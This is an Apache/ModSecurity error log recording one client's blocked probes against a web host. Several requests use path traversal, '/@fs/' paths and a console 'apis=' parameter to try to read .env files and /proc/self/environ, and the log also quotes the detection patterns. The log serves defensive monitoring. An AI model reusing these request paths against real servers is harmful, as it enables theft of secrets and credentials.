[Mon Oct 26 09:23:17.192349 2026] [security2:error] [pid 3038681:tid 3038681] [client 34.77.78.138:50002] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /@fs/../.env?import&raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "zacson2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9URaCqb5VOnNCs1lUwDQAAAA8"]
[Mon Oct 26 09:23:17.192489 2026] [security2:error] [pid 3038681:tid 3038681] [client 34.77.78.138:50002] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "zacson2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9URaCqb5VOnNCs1lUwDQAAAA8"]
[Mon Oct 26 09:23:17.193246 2026] [security2:error] [pid 3038681:tid 3038681] [client 34.77.78.138:50002] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "zacson2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9URaCqb5VOnNCs1lUwDQAAAA8"]
[Mon Oct 26 09:23:17.193583 2026] [security2:error] [pid 3038681:tid 3038681] [client 34.77.78.138:50002] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "zacson2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9URaCqb5VOnNCs1lUwDQAAAA8"]
[Mon Oct 26 09:23:17.193680 2026] [security2:error] [pid 3038660:tid 3038660] [client 34.77.78.138:49888] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /api/console/api_server?sense_version=%40%40SENSE_VERSION&apis=../../../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "zacson2.sherwinpinturas.com"] [uri "/api/console/api_server"] [unique_id "at9URZRlTJaCWkb9SEGOLwAAAAM"]
[Mon Oct 26 09:23:17.193735 2026] [security2:error] [pid 3038660:tid 3038660] [client 34.77.78.138:49888] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /api/console/api_server?sense_version=%40%40SENSE_VERSION&apis=../../../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "zacson2.sherwinpinturas.com"] [uri "/api/console/api_server"] [unique_id "at9URZRlTJaCWkb9SEGOLwAAAAM"]
[Mon Oct 26 09:23:17.193765 2026] [security2:error] [pid 3038660:tid 3038660] [client 34.77.78.138:49888] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /api/console/api_server?sense_version=@@SENSE_VERSION&apis=../../../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "zacson2.sherwinpinturas.com"] [uri "/api/console/api_server"] [unique_id "at9URZRlTJaCWkb9SEGOLwAAAAM"]
[Mon Oct 26 09:23:17.193804 2026] [security2:error] [pid 3038660:tid 3038660] [client 34.77.78.138:49888] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /api/console/api_server?sense_version=@@sense_version&apis=../../../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "zacson2.sherwinpinturas.com"] [uri "/api/console/api_server"] [unique_id "at9URZRlTJaCWkb9SEGOLwAAAAM"]
[Mon Oct 26 09:23:17.195269 2026] [security2:error] [pid 3038667:tid 3038667] [client 34.77.78.138:49962] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/proc/self/cwd/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "zacson2.sherwinpinturas.com"] [uri "/@fs/proc/self/cwd/.env"] [unique_id "at9URSpzoHLLtqvj4vwyUwAAAA4"]
[Mon Oct 26 09:23:17.195391 2026] [security2:error] [pid 3038686:tid 3038686] [client 34.77.78.138:49956] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /api/w/admins/jobs_u/get_log_file/../../../../proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "zacson2.sherwinpinturas.com"] [uri "/api/proc/self/environ"] [unique_id "at9URX806mgNGzkoiDig5gAAABc"]
[Mon Oct 26 09:23:17.195626 2026] [security2:error] [pid 3038686:tid 3038686] [client 34.77.78.138:49956] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "zacson2.sherwinpinturas.com"] [uri "/api/proc/self/environ"] [unique_id "at9URX806mgNGzkoiDig5gAAABc"]
[Mon Oct 26 09:23:17.195650 2026] [security2:error] [pid 3038667:tid 3038667] [client 34.77.78.138:49962] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "zacson2.sherwinpinturas.com"] [uri "/@fs/proc/self/cwd/.env"] [unique_id "at9URSpzoHLLtqvj4vwyUwAAAA4"]
[Mon Oct 26 09:23:17.195925 2026] [security2:error] [pid 3038667:tid 3038667] [client 34.77.78.138:49962] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "zacson2.sherwinpinturas.com"] [uri "/@fs/proc/self/cwd/.env"] [unique_id "at9URSpzoHLLtqvj4vwyUwAAAA4"]
[Mon Oct 26 09:23:17.195940 2026] [security2:error] [pid 3038686:tid 3038686] [client 34.77.78.138:49956] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Path Traversal Attack (/../)"] [tag "event-correlation"] [hostname "zacson2.sherwinpinturas.com"] [uri "/api/proc/self/environ"] [unique_id "at9URX806mgNGzkoiDig5gAAABc"]
[Mon Oct 26 09:23:17.196524 2026] [core:error] [pid 3038662:tid 3038662] [client 34.77.78.138:49864] AH10244: invalid URI path (/static/../../../a/../../../../.env)
[Mon Oct 26 09:23:17.197101 2026] [security2:error] [pid 3038664:tid 3038664] [client 34.77.78.138:49938] ModSecurity: Warning. Match of "rx ^%{tx.allowed_request_content_type}$" against "TX:0" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "440"] [id "920420"] [rev "2"] [msg "Request content type is not allowed by policy"] [data "text/x-component"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/ENCODING_NOT_ALLOWED"] [tag "WASCTC/WASC-20"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/EE2"] [tag "PCI/12.1"] [hostname "zacson2.sherwinpinturas.com"] [uri "/api"] [unique_id "at9URQgazeYKT8ZOTcqEFgAAAAs"]
[Mon Oct 26 09:23:17.197441 2026] [security2:error] [pid 3038664:tid 3038664] [client 34.77.78.138:49938] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "zacson2.sherwinpinturas.com"] [uri "/api"] [unique_id "at9URQgazeYKT8ZOTcqEFgAAAAs"]
[Mon Oct 26 09:23:17.197693 2026] [security2:error] [pid 3038664:tid 3038664] [client 34.77.78.138:49938] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): Request content type is not allowed by policy"] [tag "event-correlation"] [hostname "zacson2.sherwinpinturas.com"] [uri "/api"] [unique_id "at9URQgazeYKT8ZOTcqEFgAAAAs"]
[Mon Oct 26 09:23:17.198170 2026] [security2:error] [pid 3038663:tid 3038663] [client 34.77.78.138:49848] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "zacson2.sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at9URW8ObJ9DW7jRTA7oagAAAAk"]
[Mon Oct 26 09:23:17.198669 2026] [security2:error] [pid 3038663:tid 3038663] [client 34.77.78.138:49848] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "zacson2.sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at9URW8ObJ9DW7jRTA7oagAAAAk"]
[Mon Oct 26 09:23:17.198789 2026] [security2:error] [pid 3032274:tid 3032274] [client 34.77.78.138:49872] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /api/console/api_server?sense_version=%40%40SENSE_VERSION&apis=../../../../../../proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "zacson2.sherwinpinturas.com"] [uri "/api/console/api_server"] [unique_id "at9URSmtoTVUWKg0WJJg3AAAABI"]
[Mon Oct 26 09:23:17.198878 2026] [security2:error] [pid 3032274:tid 3032274] [client 34.77.78.138:49872] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /api/console/api_server?sense_version=%40%40SENSE_VERSION&apis=../../../../../../proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "zacson2.sherwinpinturas.com"] [uri "/api/console/api_server"] [unique_id "at9URSmtoTVUWKg0WJJg3AAAABI"]
[Mon Oct 26 09:23:17.198913 2026] [security2:error] [pid 3038663:tid 3038663] [client 34.77.78.138:49848] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "zacson2.sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at9URW8ObJ9DW7jRTA7oagAAAAk"]
[Mon Oct 26 09:23:17.198915 2026] [security2:error] [pid 3032274:tid 3032274] [client 34.77.78.138:49872] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /api/console/api_server?sense_version=@@SENSE_VERSION&apis=../../../../../../proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "zacson2.sherwinpinturas.com"] [uri "/api/console/api_server"] [unique_id "at9URSmtoTVUWKg0WJJg3AAAABI"]
[Mon Oct 26 09:23:17.198986 2026] [security2:error] [pid 3032274:tid 3032274] [client 34.77.78.138:49872] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /api/console/api_server?sense_version=@@sense_version&apis=../../../../../../proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "zacson2.sherwinpinturas.com"] [uri "/api/console/api_server"] [unique_id "at9URSmtoTVUWKg0WJJg3AAAABI"]
[Mon Oct 26 09:23:17.199093 2026] [security2:error] [pid 3032274:tid 3032274] [client 34.77.78.138:49872] ModSecurity: Warning. Matched phrase "proc/self/environ" at ARGS:apis. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "41"] [id "930120"] [rev "4"] [msg "OS File Access Attempt"] [data "Matched Data: proc/self/environ found within ARGS:apis: ../../../../../../proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "zacson2.sherwinpinturas.com"] [uri "/api/console/api_server"] [unique_id "at9URSmtoTVUWKg0WJJg3AAAABI"]
[Mon Oct 26 09:23:17.199723 2026] [core:error] [pid 3038094:tid 3038094] [client 34.77.78.138:49908] AH10244: invalid URI path (/static/../../../a/../../../../proc/self/environ)
[Mon Oct 26 09:23:17.199953 2026] [security2:error] [pid 3034818:tid 3034818] [client 34.77.78.138:49836] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "zacson2.sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at9URXYYJ1RlC0FZClQGFQAAABw"]
[Mon Oct 26 09:23:17.200361 2026] [security2:error] [pid 3034818:tid 3034818] [client 34.77.78.138:49836] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "zacson2.sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at9URXYYJ1RlC0FZClQGFQAAABw"]
[Mon Oct 26 09:23:17.200599 2026] [security2:error] [pid 3034818:tid 3034818] [client 34.77.78.138:49836] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "zacson2.sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at9URXYYJ1RlC0FZClQGFQAAABw"]
[Mon Oct 26 09:23:17.212413 2026] [security2:error] [pid 3038660:tid 3038660] [client 34.77.78.138:49888] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 20)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "zacson2.sherwinpinturas.com"] [uri "/api/console/api_server"] [unique_id "at9URZRlTJaCWkb9SEGOLwAAAAM"]
[Mon Oct 26 09:23:17.212689 2026] [security2:error] [pid 3038660:tid 3038660] [client 34.77.78.138:49888] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 20 - SQLI=0,XSS=0,RFI=0,LFI=20,RCE=0,PHPI=0,HTTP=0,SESS=0): Path Traversal Attack (/../)"] [tag "event-correlation"] [hostname "zacson2.sherwinpinturas.com"] [uri "/api/console/api_server"] [unique_id "at9URZRlTJaCWkb9SEGOLwAAAAM"]
[Mon Oct 26 09:23:17.213278 2026] [security2:error] [pid 3032274:tid 3032274] [client 34.77.78.138:49872] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 25)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "zacson2.sherwinpinturas.com"] [uri "/api/console/api_server"] [unique_id "at9URSmtoTVUWKg0WJJg3AAAABI"]
[Mon Oct 26 09:23:17.213512 2026] [security2:error] [pid 3032274:tid 3032274] [client 34.77.78.138:49872] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 25 - SQLI=0,XSS=0,RFI=0,LFI=25,RCE=0,PHPI=0,HTTP=0,SESS=0): OS File Access Attempt"] [tag "event-correlation"] [hostname "zacson2.sherwinpinturas.com"] [uri "/api/console/api_server"] [unique_id "at9URSmtoTVUWKg0WJJg3AAAABI"]
[Mon Oct 26 09:23:17.750047 2026] [security2:error] [pid 3036062:tid 3036062] [client 34.77.78.138:49896] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "zacson2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9URS4y9wbCW0XoP8BjTQAAAAI"]
[Mon Oct 26 09:23:17.750561 2026] [security2:error] [pid 3036062:tid 3036062] [client 34.77.78.138:49896] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "zacson2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9URS4y9wbCW0XoP8BjTQAAAAI"]
